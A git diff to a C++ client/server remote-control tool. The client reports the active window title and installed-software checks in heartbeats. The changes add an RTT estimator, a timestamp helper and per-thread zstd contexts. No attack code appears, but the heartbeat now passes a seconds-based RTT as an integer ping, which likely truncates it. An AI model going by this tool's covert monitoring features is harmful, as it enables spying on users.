diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp
index e72f1a9..cdf058e 100644
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -394,7 +394,7 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
 			HeaderEncType encType = HeaderEncUnknown;
 			FlagType flagType = CheckHead(szPacketFlag, encType);
 			if (flagType == FLAG_UNKNOWN) {
-				Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag);
+				Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s. Mask: %d'\n", szPacketFlag, maskType);
 				m_CompressedBuffer->ClearBuffer();
 				break;
 			}
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 54dd2cf..2eabc85 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -56,7 +56,7 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
 #else
 	m_settings = { 0 };
 #endif
-	m_nNetPing = -1;
+	m_nNetPing = {};
 	m_hKeyboard = kb;
 }
 
@@ -521,10 +521,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 		if (ulLength > 8) {
 			uint64_t n = 0;
 			memcpy(&n, szBuffer + 1, sizeof(uint64_t));
-			auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
-				std::chrono::system_clock::now()
-				);
-			m_nNetPing = int((system_ms.time_since_epoch().count() - n) / 2);
+			m_nNetPing.update_from_sample(GetUnixMs() - n);
 		}
 		break;
 	case CMD_MASTERSETTING:
diff --git a/client/KernelManager.h b/client/KernelManager.h
index 66c39d0..224357b 100644
--- a/client/KernelManager.h
+++ b/client/KernelManager.h
@@ -91,6 +91,36 @@ private:
 	}
 };
 
+struct RttEstimator {
+	double srtt = 0.0;       // 平滑 RTT (秒)
+	double rttvar = 0.0;     // RTT 波动 (秒)
+	double rto = 0.0;        // 超时时间 (秒)
+	bool initialized = false;
+
+	void update_from_sample(double rtt_ms) {
+		const double alpha = 1.0 / 8;
+		const double beta = 1.0 / 4;
+
+		// 转换成秒
+		double rtt = rtt_ms / 1000.0;
+
+		if (!initialized) {
+			srtt = rtt;
+			rttvar = rtt / 2.0;
+			rto = srtt + 4.0 * rttvar;
+			initialized = true;
+		}
+		else {
+			rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
+			srtt = (1.0 - alpha) * srtt + alpha * rtt;
+			rto = srtt + 4.0 * rttvar;
+		}
+
+		// 限制最小 RTO（RFC 6298 推荐 1 秒）
+		if (rto < 1.0) rto = 1.0;
+	}
+};
+
 class CKernelManager : public CManager  
 {
 public:
@@ -107,7 +137,7 @@ public:
 	UINT	GetAvailableIndex();
 	State& g_bExit; // Hide base class variable
 	MasterSettings m_settings;
-	int m_nNetPing; // 网络状况
+	RttEstimator m_nNetPing; // 网络状况
 	// 发送心跳
 	int SendHeartbeat() {
 		for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
@@ -122,7 +152,7 @@ public:
 
 		ActivityWindow checker;
 		auto s = checker.Check();
-		Heartbeat a(s, m_nNetPing);
+		Heartbeat a(s, m_nNetPing.srtt);
 
 		a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
 
diff --git a/common/commands.h b/common/commands.h
index da71801..6c7ea7b 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -795,6 +795,13 @@ typedef struct  LOGIN_INFOR
 	}
 }LOGIN_INFOR;
 
+inline uint64_t GetUnixMs() {
+	auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
+		std::chrono::system_clock::now()
+		);
+	return system_ms.time_since_epoch().count();
+}
+
 // 固定1024字节
 typedef struct Heartbeat
 {
@@ -808,10 +815,7 @@ typedef struct Heartbeat
 		memset(this, 0, sizeof(Heartbeat));
 	}
 	Heartbeat(const std::string& s, int ping = 0) {
-		auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
-			std::chrono::system_clock::now()
-			);
-		Time = system_ms.time_since_epoch().count();
+		Time = GetUnixMs();
 		strcpy_s(ActiveWnd, s.c_str());
 		Ping = ping;
 		memset(Reserved, 0, sizeof(Reserved));
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 8e91393..bd51fd8 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -65,7 +65,7 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
 	{"鎿嶄綔绯荤粺",		120	},
 	{"CPU",				80	},
 	{"鎽勫儚澶�",			70	},
-	{"PING",			70	},
+	{"RTT",				70	},
 	{"鐗堟湰",			90	},
 	{"瀹夎鏃堕棿",        120 },
 	{"娲诲姩绐楀彛",		140 },
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index d76cc6c..153bedb 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -64,11 +64,6 @@ IOCPServer::IOCPServer(void)
 
 	m_NotifyProc = NULL;
 	m_OfflineProc = NULL;
-#if USING_CTX
-	m_Cctx = ZSTD_createCCtx();
-	m_Dctx = ZSTD_createDCtx();
-	ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
-#endif
 }
 
 void IOCPServer::Destroy() {
@@ -133,11 +128,6 @@ IOCPServer::~IOCPServer(void)
 	m_ulBusyThread = 0;
 	m_ulKeepLiveTime = 0;
 
-#if USING_CTX
-	ZSTD_freeCCtx(m_Cctx);
-	ZSTD_freeDCtx(m_Dctx);
-#endif
-
 	WSACleanup();
 }
 
@@ -304,6 +294,8 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
 {
 	Mprintf("======> IOCPServer WorkThreadProc begin \n");
 
+	ZSTD_DCtx* m_Dctx = ZSTD_createDCtx(); // 解压上下文
+
 	IOCPServer* This = (IOCPServer*)(lParam);
 
 	HANDLE   hCompletionPort = This->m_hCompletionPort;
@@ -384,7 +376,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
 			{
 				try
 				{   
-					This->HandleIO(OverlappedPlus->m_ioType, ContextObject, dwTrans);  
+					This->HandleIO(OverlappedPlus->m_ioType, ContextObject, dwTrans, m_Dctx);
 
 					ContextObject = NULL;
 				}
@@ -405,13 +397,16 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
 	if (n == 0) {
 		Mprintf("======> IOCPServer All WorkThreadProc done\n");
 	}
+
+	ZSTD_freeDCtx(m_Dctx);
+
 	Mprintf("======> IOCPServer WorkThreadProc end \n");
 
 	return 0;
 }
 
 //在工作线程中被调用
-BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
+BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx)
 {
 	BOOL bRet = FALSE;
 
@@ -421,10 +416,10 @@ BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWOR
 		bRet = OnClientInitializing(ContextObject, dwTrans); 
 		break;
 	case IORead:
-		bRet = OnClientReceiving(ContextObject,dwTrans);
+		bRet = OnClientReceiving(ContextObject, dwTrans, ctx);
 		break;
 	case IOWrite:
-		bRet = OnClientPostSending(ContextObject,dwTrans);
+		bRet = OnClientPostSending(ContextObject, dwTrans);
 		break;
 	case IOIdle:
 		Mprintf("=> HandleIO PacketFlags= IOIdle\n");
@@ -443,7 +438,8 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT  ContextObject, DWORD dwTr
 }
 
 // May be this function should be a member of `CONTEXT_OBJECT`.
-BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc) {
+BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx) {
+	AUTO_TICK(40);
 	BOOL ret = 1;
 	try
 	{
@@ -547,9 +543,9 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
 	return ret;
 }
 
-BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans)
+BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx)
 {
-	if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc)) {
+	if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc, ctx)) {
 		RemoveStaleContext(ContextObject);
 		return FALSE;
 	}
@@ -559,7 +555,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 	return TRUE;
 }
 
-BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) {
+BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx* m_Cctx) {
 	assert(ContextObject);
 	// 输出服务端所发送的命令
 	int cmd = szBuffer[0];
diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h
index 22c9c4f..ea68572 100644
--- a/server/2015Remote/IOCPServer.h
+++ b/server/2015Remote/IOCPServer.h
@@ -4,11 +4,6 @@
 #include <WinSock2.h>
 #pragma comment(lib,"ws2_32.lib")
 #include "Server.h"
-
-#if USING_CTX
-#include "zstd/zstd.h"
-#endif
-
 #include <Mstcpip.h>
 
 #define	NC_CLIENT_CONNECT		0x0001
@@ -28,14 +23,12 @@
 #define C_FAILED(p) ZSTD_isError(p)
 #define C_SUCCESS(p) (!C_FAILED(p))
 #define ZSTD_CLEVEL 5
-#if USING_CTX
-#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
-#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
-#else
-#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
-#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
-#endif
 
+#define Mcompress(dest, destLen, source, sourceLen) m_Cctx ? ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen):\
+	ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
+
+#define Muncompress(dest, destLen, source, sourceLen) m_Dctx ? ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen):\
+	ZSTD_decompress(dest, *(destLen), source, sourceLen)
 
 class IOCPServer : public Server
 {
@@ -55,11 +48,6 @@ protected:
 	ULONG				m_ulCurrentThread;
 	ULONG				m_ulBusyThread;
 
-#if USING_CTX
-	ZSTD_CCtx*			m_Cctx; // 压缩上下文
-	ZSTD_DCtx*			m_Dctx; // 解压上下文
-#endif
-
 	ULONG				m_ulKeepLiveTime;
 	pfnNotifyProc		m_NotifyProc;
 	pfnOfflineProc		m_OfflineProc;
@@ -78,9 +66,9 @@ private:
 	VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
 	VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
 	VOID PostRecv(CONTEXT_OBJECT* ContextObject);
-	BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
+	BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx);
 	BOOL OnClientInitializing(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans);
-	BOOL OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans);
+	BOOL OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx);
 	VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
 	BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
 	int AddWorkThread(int n) {
@@ -173,6 +161,6 @@ public:
 
 typedef CDialogBase DialogBase;
 
-BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc);
+BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx *ctx=NULL);
 
-BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
+BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx *ctx=NULL);
diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h
index cdd9c53..3fcd6df 100644
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -6,7 +6,6 @@
 #pragma once
 
 #define USING_ZSTD 1
-#define USING_CTX 0
 
 #ifndef _SECURE_ATL
 #define _SECURE_ATL 1